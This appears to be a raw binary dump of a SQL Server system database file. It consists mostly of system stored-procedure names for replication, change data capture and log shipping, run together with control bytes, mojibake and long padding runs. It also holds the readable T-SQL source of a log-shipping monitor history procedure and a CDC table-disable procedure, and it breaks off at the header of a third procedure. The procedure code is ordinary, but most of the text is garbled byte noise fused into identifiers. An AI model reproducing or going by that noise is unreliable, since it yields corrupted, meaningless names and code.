f<sp_cleanupdbreplication&6sp_clearisreplicated&6sp_column_privileges&,<sp_column_privileges_ex&6Dsp_column_privileges_rowset&Lsp_column_privileges_rowset_rmt&ۍFsp_column_privileges_rowset2&]`"sp_columns&xd*sp_columns_100&w=d8sp_columns_100_rowset&:sp_columns_100_rowset2&J(sp_columns_90&X46sp_columns_90_rowset&CV>sp_columns_90_rowset_rmt&g8sp_columns_90_rowset2&5q(sp_columns_ex&]0sp_columns_ex_100&e8.sp_columns_ex_90&e2sp_columns_managed&f,w0sp_columns_rowset&$8sp_columns_rowset_rmt&:W2sp_columns_rowset2&x.sp_cdc_start_job&02R>sp_cdc_stop_job_internal&b,sp_cdc_stop_job&u?,sp_cdc_vupgrade&@sp_cdc_vupgrade_databases&XHsp_changetracking_remove_tran&'Hsp_changetracking_time_to_csn&,.m8sp_changemergearticle&$Z@sp_changemergepublication&]8sp_cleanmergelogfiles&y@sp_changemergelogsettings&Bsp_changemergesubscription&[h6sp_changemergefilter&Fsp_changedynamicsnapshot_job&>sp_check_dynamic_filters&6sp_check_join_filter&A:sp_check_subset_filter!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!vDHxN,V

r
&
l&j2

x
$
	R	Z		\TN`THZ,T:L>|`
L"P"
K1&-̲Lsp_MSissnapshotjobnamegenerated&4sp_MSleveltombstone&iNsp_MSload_tmp_replication_status&ӹ2sp_MSlock_auto_sub&L+Fsp_MSlock_distribution_agent&!.sp_MSLockMatchID&	V>*sp_MSlocktable&t%Hsp_MSlogshippingsysadmincheck&3Ǘ:sp_MSmakeconflicttable&FHsp_MSmakeconflicttable_sqlclr&Dsp_MSmakegenerationidentity&>Bsp_MSmakepeerconflicttable&@6sp_MSmaketrancftproc&>8sp_MSmark_proc_norepl&,sp_MSmarkreinit&0sp_MSmarkreplinfo&8sp_MSmarkschemaobject&~Lsp_MSmarksubscriptionvalidation&/Bsp_MSmerge_alterschemaonly&a8sp_MSmerge_altertable&<sp_MSmerge_altertrigger&6sp_MSmerge_alterview&5uFsp_MSmerge_autoident_upgrade&}Dsp_MSmerge_create_pub_table&@Dsp_MSmerge_create_sub_table&>sp_MSmerge_ddldispatcher&5Hsp_MSmerge_dropdownlevelprocs&~6sp_MSmerge_dropindex&1Rsp_MSmerge_gen_articlecolumnrowset&y6sp_MSmerge_getgencur&Dsp_MSmerge_getgencur_public&ELsp_MSmerge_is_snapshot_required&Α`sp_MSmerge_log_identity_range_allocations&ypBsp_MSmerge_metadataupgrade&8sp_MSmerge_passDDLcmd&Nsp_MSmerge_subscriptions_upgrade&=GDHsp_MSmerge_upgrade_from_90rtm&3Hsp_MSmerge_upgrade_subscriber&~@sp_MSmergeagentjobcontrol&sNsp_MSmergefixup_constraints_name&d>2sp_MSlevelcontents&4sp_MSmakegeneration&v:sp_MSmakegenerationold&%2&sp_MSmaptype&
H>sp_MSmap_subscriber_type&7Lsp_MSmark_expired_subscriptions&;+nsp_MSmerge_subbased_downloadonly_metadatacleanup&[o0sp_MSlevelchanges& :sp_MSmerge_getgencount&0<sp_MSmerge_parsegenlist&oC^sp_MSmerge_validate_publication_presence&dsp_MSmerge_log_idrange_alloc_on_distributor&Y 4sp_MSmakejoinfilter&DXsp_MSmakeorcheck_joinfilter_using_dri&W'4sp_MSmakeexpandproc&gdsp_MSissubscriber_of_wellpartitionedarticle&	oTsp_MSlocalizeinterruptedgenerations&jfDsp_MSmakeconflictinsertproc&<sp_MSmaketempinsertproc&:sp_MSmakesystableviews&8sp_MSmakearticleprocs&NZ4sp_MSmakeinsertproc&U>sp_MSmakebatchinsertproc&m4sp_MSmakeupdateproc&G2>sp_MSmakebatchupdateproc&T4sp_MSmakeselectproc&{mDsp_MSmakemetadataselectproc&4s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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"
		R		2
*d^VRPt6~*rNR



"\F4`.p
.,V`
7V"D#
&J*sp_MSBitmapXOr&6@sp_MSbrowsesnapshotfolder&a:sp_MSbuild_single_post&6sp_MSBumpupCompLevel&0Bsp_MScache_agent_parameter&6sp_MScdc_capture_job&d6sp_MScdc_cleanup_job&8sp_MScdc_db_ddl_event&mJsp_MScdc_ddl_database_triggers&P[2sp_MScdc_ddl_event&WADsp_MScdc_ddl_server_trigger&-Dsp_MScdc_job_security_check&,sp_MScdc_logddl&A<sp_MScdc_tranrepl_check&:sp_MScdccheck_ddladmin&!4sp_MSchange_article&`sp_MSchange_distribution_agent_properties&Zsp_MSchange_logreader_agent_properties&Rsp_MSchange_merge_agent_properties&>sp_MSchange_originatorid&&6sp_MSchange_priority&m<sp_MSchange_publication&6sp_MSchange_repl_job&BRDsp_MSchange_repl_job_unsafe&768sp_MSchange_retention&Psp_MSchange_retention_period_unit&Xsp_MSchange_snapshot_agent_properties&?Psp_MSchange_subscription_dts_info&bsp_MSchangedynamicsnapshotjobatdistributor&ep\sp_MSchangedynsnaplocationatdistributor&:sp_MSchangeobjectowner&@Tsp_MSchangepublicationlinkpasswords&t6	Psp_MSchangerepllinkedsrvrpassword&#ZjHsp_MSchangerepltablepasswords&6b>sp_MSchangeschemaarticle&,@sp_MScheck_agent_instance&le@sp_MScheck_Jet_Subscriber&hTsp_MScheck_merge_subscription_count&?M@sp_MScheck_palroleinpubdb&u<sp_MScheck_pub_identity&_Rsp_MScheck_publisher_range_refresh&T.:sp_MScheck_pull_access&@sp_MScheck_snapshot_agent&s<sp_MScheck_subscription&8Zsp_MScheck_subscription_count_internal&@sp_MScheck_tran_retention&M/8sp_MScheckatpublisher&Sfsp_MScheckcontext_bypassreplicateddleventbit&(f^sp_MScheckcontext_bypasswholeddleventbit&Nsp_MScheckcontext_internalcaller&dsp_MScheckcontext_merge_identityrangeddlbit&qZsp_MScheckforexpiredmergesubscriptions&vLsp_MScheckgenerate_originatorid&j2sp_MScheckprocexec&$9Tsp_MSchecksharedagentforpublication&1>sp_MScheckvalidsystables&]Lsp_MScheck_autoident_parameters&QHsp_MScheck_republisher_ranges&-tHsp_MSchangemergeschemaarticle&RLsp_MScheck_joinfilter_using_dri&{Jsp_MScheck_subscription_expiry&Bsp_MSCheckmergereplication&)Rsp_MSchangemergedynamicsnapshotjob&%/^sp_MScheck_dynamic_filtering_information&qBsp_MScheck_dynamic_filters&"<sp_MScheck_join_filters&p)y`sp_MScheck_join_filter_circular_relations&}Jsp_MScheck_blob_filter_columns&0h@sp_MScheck_subset_filters&C\sp_MScheck_functions_indirectly_in_view&nDXsp_MScheck_functions_directly_in_view&Xsp_MScheck_allparents_wellpartitioned&.K>sp_MSchange_mergearticle&Fsp_MSchange_mergepublication&7>sp_MScheck_article_order&<sp_MScheckidentityrange&1{Bsp_MSchangearticleresolver&,Bsp_MScheckexistsgeneration&ݘu>sp_MSchecksnapshotstatus&PPsp_MScheck_subscription_partition&R"<sp_MScheckmetadatamatch&[{Zsp_MScheck_logicalrecord_metadatamatch&eNsp_MScheck_article_auto_identity&j8VFsp_MScheckfailedprevioussync&6sp_MScheckIsPubOfSub&&<sp_MScheckexistsrecguidNt&|"X
p

t4$^$

V

h2n	X
	D	X @`bh0zDdZP$j |:`
@"t
$
Y	&Tsp_MSrecordsnapshotdeliveryprogress&(f4sp_MSreenable_check&߮$sp_MSrefcnt&u:sp_MSrefresh_anonymous&chXsp_MSrefresh_idrange_check_constraint&Jsp_MSrefresh_publisher_idrange&4sp_MSrefreshmqtosql&sbsp_MSregister_all_merge_pull_subscriptions&yybsp_MSregister_all_trans_pull_subscriptions&IE@sp_MSregisterdynsnapseqno&eDsp_MSregistermergesnappubid&@sp_MSregistersubscription&&4sp_MSreinit_article&CNsp_MSreinit_failed_subscriptions&t>sp_MSreinit_subscription&Dsp_MSreinitmergepublication&\sp_MSreinitoverlappingmergepublications&x)Hsp_MSreleaseFixPALRoleAppLock&taPsp_MSreleasemakegenerationapplock&@`sp_MSreleaseMergeUpgradeSubscriberAppLock&Q.6sp_MSreleaseSlotLock&Ss\sp_MSreleasesnapshotdeliverysessionlock&kdsp_MSremovedb_merge_replication_brute_force&*>sp_MSremovedbreplication&lOPsp_MSremovedbreplication_internal&e@sp_MSremoveidrangesupport&Dsp_MSremoveoffloadparameter&VXsp_MSrepl_add_expired_sub_cleanup_job&M>6sp_MSrepl_addarticle&Fsp_MSrepl_adddatatypemapping&Ws%Bsp_MSrepl_adddistpublisher&$Fsp_MSrepl_addlogreader_agent&N^>sp_MSrepl_addpublication&vPsp_MSrepl_addpublication_snapshot&R	Tsp_MSrepl_addpushsubscription_agent&mg<sp_MSrepl_addrolemember&,q@<sp_MSrepl_addscriptexec&<<sp_MSrepl_addsubscriber&k@sp_MSrepl_addsubscription&ʎPsp_MSrepl_addsubscription_article&3Fsp_MSrepl_agentstatussummary&@<sp_MSrepl_articlecolumn&L|<sp_MSrepl_articlefilter&88sp_MSrepl_articleview&ڱ@sp_MSrepl_backup_complete&p:sp_MSrepl_backup_start&1WJsp_MSrepl_browsesnapshotfolder&<sp_MSrepl_changearticle&AXsp_MSrepl_changearticlecolumndatatype&eLsp_MSrepl_changelogreader_agent&stDsp_MSrepl_changepublication&Vsp_MSrepl_changepublication_snapshot&́Bsp_MSrepl_changesubscriber&܉	Tsp_MSrepl_changesubscriber_schedule&%0Fsp_MSrepl_changesubscription&H@sp_MSrepl_changesubstatus&,sp_MSreinit_hub&[Vsp_MSrefreshdynamicsnapshotlocations&*:sp_MSremove_userscript&l	Hsp_MSregenerate_mergetriggers&2oRsp_MSreleasedynamicsnapshotapplock&[FHsp_MSreleasemergeadminapplock&Rsp_MSregenerate_mergetriggersprocs&3Fsp_MSremove_mergereplcommandPd 
|
@
|D6

~
B
		`		\0X2,Ld&d ~tF`
2D"n
%
D&B|:sp_replcleanupccsprocs&$sp_replcmds&L,sp_replcounters&5k.sp_replddlparser&	<sp_repldeletequeuedtran&$sp_repldone&_^0sp_repldropcolumn&^&sp_replflush&je:sp_replgetparsedddlcmd&9$sp_replhelp&NJ"sp_replica&Fsp_replication_agent_checkup&:sp_replicationdboption&%4sp_replincrementlsn&_Fsp_replincrementlsn_internal&6sp_replmonitoralerts&^sp_replmonitorchangepublicationthreshold&dJsp_replmonitorhelpmergesession&͈Vsp_replmonitorhelpmergesessiondetail&i0XHsp_replmonitorhelppublication&\sp_replmonitorhelppublicationthresholds&6QDsp_replmonitorhelppublisher&^EPsp_replmonitorhelppublisherhelper&TQJsp_replmonitorhelpsubscription&_Lsp_replmonitorinitializemetrics&3Jsp_replmonitorrefreshagentdata&6h@sp_replmonitorrefreshdata&O_>sp_replmonitorrefreshjob&Nsp_replmonitorrefreshwarningdata&UXsp_replmonitorsubscriptionpendingcmds&$@sp_replmonitorsynchronize&*sp_replpostcmd&9O8sp_replpostsyncstatus&r!@sp_replpostsyncstatus_int&4sp_replqueuemonitor&4*sp_replrestart&q*sp_replrethrow&CPsp_replscriptuniquekeywhereclause&2sp_replsendtoqueue&☩6sp_replsetoriginator&hrHsp_replsetoriginator_internal&k6sp_replsetsyncstatus&(+,sp_replshowcmds&}~N2sp_replsqlqgetrows&
6$sp_replsync&(Hsp_repltablehasnonpkuniquekey&t&sp_repltrans&c4sp_replupdateschema&L6sp_replwritetovarbin&/}:sp_requestpeerresponse&pBsp_requestpeertopologyinfo&1@sp_reserve_http_namespace&'4sp_reset_connection&MNsp_resetsnapshotdeliveryprogress&*sp_resetstatus&s̆2sp_resign_database&R/80sp_resolve_logins&<sp_restoredbreplication&a*Fsp_restoremergeidentityrange&S.sp_resyncexecute&n4sp_resyncexecutesql&Bsp_resyncmergesubscription&$!.sp_resyncprepare&>_6sp_resyncuniquetable&3lFsp_revoke_publication_access&n0sp_revokedbaccess&Ӻ6*sp_revokelogin&PDdsp_replmonitorhelpmergesubscriptionmoreinfo|L`,

|
L

n.|H"


X
"
		r	"	Z"`Jd |&~HN,xT`7
K"N&
],g~k&W\@sp_MSdist_adjust_identity&oBsp_MSdistpublisher_cleanup&y/Bsp_MSdistribution_counters&qANsp_MSdistributionagentjobcontrol&߮@sp_MSdistributoravailable&>'Psp_MSdodatabasesnapshotinitiation&>@sp_MSdoesfilterhaveparent&H^sp_MSdopartialdatabasesnapshotinitiation&Ei>sp_MSdrop_6x_publication&
U8Jsp_MSdrop_6x_replication_agent&@sp_MSdrop_anonymous_entry&P0sp_MSdrop_article&N]Nsp_MSdrop_article_conflict_table&8N:sp_MSdrop_asm_tranrepl&vZ1(sp_MSdrop_cdc&:Fsp_MSdrop_distribution_agent&<"Jsp_MSdrop_distribution_agentid&+fsp_MSdrop_distribution_agentid_dbowner_proxy&bsp_MSdrop_distributor_alerts_and_responses&=8Nsp_MSdrop_dynamic_snapshot_agent&Tsp_MSdrop_expired_mergesubscription&.Xsp_MSdrop_expired_mergesubscription90&JJsp_MSdrop_expired_subscription&ɳDsp_MSdrop_ins_conflict_proc&@sp_MSdrop_logreader_agent&8sp_MSdrop_merge_agent&/<sp_MSdrop_merge_agentid&Fsp_MSdrop_merge_subscription&>sp_MSdrop_mergesystables&g.sp_MSdrop_object&QDsp_MSdrop_peertopeer_tables&6sp_MSdrop_pub_tables&q8sp_MSdrop_publication&jG<sp_MSdrop_qreader_agent&1@sp_MSdrop_qreader_history&y 92sp_MSdrop_repl_job&\V@sp_MSdrop_repl_job_unsafe&gN~0sp_MSdrop_replcom&72sp_MSdrop_repltran&\0sp_MSdrop_rladmin&9f.sp_MSdrop_rlcore&kz.sp_MSdrop_sctres&>>sp_MSdrop_snapshot_agent&q<sp_MSdrop_snapshot_dirs&L6@sp_MSdrop_subscriber_info&`h:sp_MSdrop_subscription&;sBsp_MSdrop_subscription_3rd&H=/4sp_MSdrop_subserver&вBsp_MSdrop_synctran_objects&Dsp_MSdroparticleconstraints&8sp_MSdroparticleprocs&ڤw>sp_MSdroparticletriggers&Psp_MSDropCanClearSubscriberStatus&U0Bsp_MSdropdisabledmltrigger&tqcHsp_MSdropfkreferencingarticle&B4sp_MSdropguidcolumn&F@8sp_MSdropmergearticle&-+B8sp_MSdropmergepalrole&ؽBsp_MSdropmergepub_snapshot&8GBsp_MSdropmqforsubscription&6sp_MSdroptranpalrole&XgNsp_MSdropmergedynamicsnapshotjob&=hDsp_MSdrop_article_repl_view&j0sp_MSdrop_rlrecon&sd*sp_MSdropretry&$2sp_MSdroptemptable&!:sp_MSdropsystableviews&N6sp_MSdropconstraints&L"Bsp_MSdroparticletombstones&<70sp_MSdropctsviews&2-<sp_MSdropdynsnapshotvws&Hsp_MSdrop_tempgenhistorytable&ytNsp_MSdroplightweightarticleprocs&)|!Fsp_MSdroplightweighttriggers*1Jsp_MSdrop_asm_TableMaintenance|B>\

D
H
RZ
L

^
.
		|	@		`"h(B>H h(Br$`
3Z"'
2ޥ&e‡Bsp_MSfixupagentoffloadinfo&ODsp_MSfixupaltsnapshotfolder&x@sp_MSfixupdistributorinfo&_Hsp_MSfixupdistributorsecurity&u0sp_MSfixupftpinfo&`Lsp_MSfixupsharedagentproperties&|.sp_MSfixupuseftp&cBsp_MSfixupworkingdirectory&y<sp_MSflush_access_cache&k2sp_MSflush_command&qWPsp_MSforce_drop_distribution_jobs&+>sp_MSgen_sync_tran_procs&l<sp_MSgenerateexpandproc&%bsp_MSgeneratenosyncsubscriptionsetupscript&Tpsp_MSgeneratenosyncsubscriptionsetupscript_sqlclr&c
6sp_MSgenreplnickname&%8sp_MSgentablenickname&<sp_MSget_absolute_colid&#]36sp_MSget_agent_names&!8sp_MSget_attach_state&느8sp_MSget_col_position&.sp_MSget_colinfo&EZsp_MSget_dynamic_filtering_information&hZsp_MSget_dynamic_filters_function_list&tW<sp_MSget_file_existence&5-0sp_MSget_jobstate&o@sp_MSget_last_transaction&_U7<sp_MSget_latest_peerlsn&U2sp_MSget_load_hint&Tsp_MSget_log_shipping_new_sessionid&P}8sp_MSget_map_position&Bsp_MSget_max_used_identity&dsp_MSget_max_used_identity_from_distributor&Psp_MSget_mergepullsubsagent_owner&.2sp_MSget_min_seqno&/56sp_MSget_new_errorid&f6sp_MSget_new_idrange&1<sp_MSget_new_xact_seqno&2sp_MSget_oledbinfo&}80sp_MSget_open_gen&
3Rsp_MSget_publication_from_taskname&&:sp_MSget_publisher_rpc&2Fsp_MSget_pullsubsagent_owner&%<sp_MSget_qualified_name&7Fsp_MSget_repl_cmds_anonymous&:sp_MSget_repl_commands&N[c4sp_MSget_repl_error&$bDsp_MSget_session_statistics&l06sp_MSget_setup_paths&xq8sp_MSget_shared_agent&%)4@sp_MSget_snapshot_history&PJsp_MSget_subscription_dts_info&$Bsp_MSget_subscription_guid& >sp_MSget_synctran_column&GBsp_MSget_synctran_commands&xv>sp_MSget_temp_closed_gen&(sp_MSget_type&28sp_MSget_type_wrapper&%>sp_MSgetagentoffloadinfo&:Bsp_MSgetarticlereinitvalue&A[2sp_MSgetcolumnlist&0,@sp_MSgetconflicttablename&Jsp_MSget_partitionid_eval_proc&v&vsp_MSgenerate_articlechangemembershipevaluation_proc&kNsp_MSget_subscriber_partition_id&h^sp_MSget_current_subscriber_partition_id&^Xsp_MSget_distinct_semicolon_sep_items&!FNsp_MSget_logical_record_children&>Psp_MSget_article_processing_order&b}Rsp_MSget_dynamic_snapshot_location&vTsp_MSget_effective_pub_compat_level&賴Tsp_MSget_DDL_after_regular_snapshot&>sp_MSgetalternaterecgens&Bsp_MSgetconflictinsertproc&%4sp_MSgetchangecount&AoHsp_MSgetcolordinalfromcolname&?@sp_MSgetbeforetableinsert&[Dsp_MSfixupbeforeimagetables&yJsp_MSget_logicalrecord_lineage&><Lsp_MSget_gen_approx_changecount&Psp_MSget_MSmerge_rowtrack_colinfo&:sp_MSget_shifted_colv1&6֜Fsp_MSget_identity_range_info&!dsp_MSgenerate_enumchangedcolumnvalues_query&qfsp_MSget_lightweightarticle_processing_order&#/<sp_MSforcereenumeration&ߑ4sp_MSforeach_worker&z/*sp_MSforeachdb&s|0sp_MSforeachtable&Oՙ0sp_MSgetalertinfo~XL
l.

l
"
~t0|@

n
>

		d	02	~<~dBr <*|DdVd:Zn&V`	<(
[.8}0  8create procedure sys.sp_MSprocesslogshippingmonitorhistory 
(
    @mode tinyint -- 1 = add, 2 = delete
    ,@agent_id uniqueidentifier
    ,@agent_type tinyint  -- 0 = backup, 1 = copy, 2 = restore
    ,@session_id int = NULL 
    ,@session_status tinyint = NULL  -- 0 = Starting, 1 = Running, 2 = Success, 3 = Error, 4 = Warning
    ,@monitor_server sysname 
    ,@monitor_server_security_mode bit = 1
    ,@database sysname = NULL -- needed for add
    ,@log_time datetime = NULL
    ,@log_time_utc datetime = NULL
    ,@message nvarchar(4000) = NULL 
)
as
begin
    set nocount on
    declare @retcode int
                ,@linkcmd nvarchar(512)

    --
    -- validate @mode
    --
    if (@mode not in (1,2))
        return 1
    if (@mode = 1)
    begin
        --
        -- Add an entry in the log_shipping_monitor_history_detail
        --
        insert into msdb.dbo.log_shipping_monitor_history_detail (
                agent_id 
                ,agent_type 
                ,session_id 
                ,database_name 
                ,session_status 
                ,log_time 
                ,log_time_utc 
                ,message)
        values (
                @agent_id 
                ,@agent_type 
                ,@session_id 
                ,@database 
                ,@session_status 
                ,@log_time 
                ,@log_time_utc 
                ,@message)
        if (@@error != 0)
            return 1
    end
    else if (@mode = 2)
    begin
        --
        -- clean up log_shipping_monitor_history_detail
        --
        delete msdb.dbo.log_shipping_monitor_history_detail
        where agent_id = @agent_id and agent_type = @agent_type
    end
    --
    -- Do we need have remote monitor
    --
    if (upper(@monitor_server) != upper(@@servername))
    begin
        if (@monitor_server_security_mode = 0) and (suser_name() != SUSER_SNAME(0x01))
        begin
            --
            -- Process remote monitor using proxy
            --
            exec @retcode = msdb.sys.sp_MSproxylogshippingmonitorhistory
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
        end
        else
        begin
            --
            -- integrated -do not use proxy
            --
            select @linkcmd = quotename(sys.fn_MSgetlogshippingmoniterlinkname(upper(@monitor_server))) + N'.msdb.sys.sp_processlogshippingmonitorhistory'
            begin try
                exec @retcode = @linkcmd 
                    @mode = @mode
                    ,@agent_id = @agent_id
                    ,@agent_type = @agent_type
                    ,@session_id = @session_id
                    ,@session_status = @session_status
                    ,@monitor_server = @monitor_server
                    ,@monitor_server_security_mode = 1
                    ,@database = @database
                    ,@log_time = @log_time
                    ,@log_time_utc = @log_time_utc
                    ,@message = @message
            end try
            begin catch
                select @retcode = 1
            end catch
        end
        if (@retcode != 0 or @@error != 0)
            return 1
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<u)
.ML0 8create procedure [sys].[sp_cdc_disable_table_tranx]
(
	@capture_instance		sysname,
	@source_schema			sysname,
	@source_name			sysname,
	@source_object_id		int
)
as
begin
		declare @column_name sysname,
			@retcode int,
			@count_instances int
			
		-- Disable verbose logging for the table.
		-- NOTE:  We will only disable verbose logging if there would no longer be
		--        entries in the cdc.change_tables for the source table upon completion
		--        of the disable table request. If the capture instance is not <ALL>,
		--        we have already verified that an entry for this capture instance does exist.
		--        Here we only need to verify that if not <ALL>, only one capture instance
		--        exists for the table. 
		select @count_instances = count(*) from  [cdc].[change_tables] with (index = source_object_id_idx)
		where source_object_id = @source_object_id

		if (UPPER(@capture_instance) = N'ALL') OR (@count_instances = 1)  
		begin
			exec [sys].[sp_MSverboselogging]
				@source_object_id, 0
		end
		else
		begin
		--		If a capture instance will still remain after this one is removed, we still
		--		want to clear the is_replicated bit for any columns that will no longer be
		--		tracked for cdc after this capture instance is removed and is also not
		--		a column in a transactional replication article. 
			exec [sys].[sp_clearisreplicated]
				@source_object_id, @capture_instance
		end					 

		if (UPPER(@capture_instance) <> N'ALL')
		begin
			exec @retcode = [sp_cdc_disable_table_instance] @source_schema
				,@source_name
				,@capture_instance
		end	
		else
		begin
   			declare #hinstance cursor local fast_forward
			for
				select capture_instance  
				from [cdc].[change_tables] with (index = source_object_id_idx)
				where source_object_id = @source_object_id
    
			-- Drop tracking entries for the individual capture instance
			open #hinstance
			fetch #hinstance into @capture_instance
	
			while (@@fetch_status <> -1)
			begin
				exec @retcode = [sp_cdc_disable_table_instance] @source_schema
					,@source_name
					,@capture_instance
			
				fetch #hinstance into @capture_instance
			end
	
			close #hinstance
			deallocate #hinstance
		end

		-- If there are no capture instances remaining for the source table, we can
		-- go with the simpler query that is less likely to produce deadlock.
		if not exists(
			select source_object_id from cdc.change_tables with (index = source_object_id_idx)
			where source_object_id = @source_object_id
			)
		begin	 
			declare #hcolumn cursor local fast_forward
			for
				select name from sys.columns where object_id = @source_object_id
		end
		else
		begin
			declare #hcolumn cursor local fast_forward
			for
				select name from sys.columns where object_id = @source_object_id
				and column_id not in 
				(	select distinct c.column_id from [cdc].[captured_columns] c
					join [cdc].[change_tables] t with (index = source_object_id_idx)
						on c.object_id = t.object_id
					where t.source_object_id = @source_object_id )
		end	

		open #hcolumn
		fetch #hcolumn into @column_name


		while (@@fetch_status <> -1)
		begin
			--clear this bit on source table column to unblock updatetext/writetext operation, exposed by columnproperty(..,.., 'is_cdctracked')
			EXEC %%ColumnEx(ObjectID = @source_object_id, Name = @column_name).SetCDCTracked(Value = 0)

			fetch #hcol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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<e*
KJa0 @ 8create procedure [sys].[sp_cdc_lsn_time_mapping_procs]
(
	@action nvarchar(16)
)
as
begin
	declare @stmt nvarchar(max)
		
    set nocount on
    
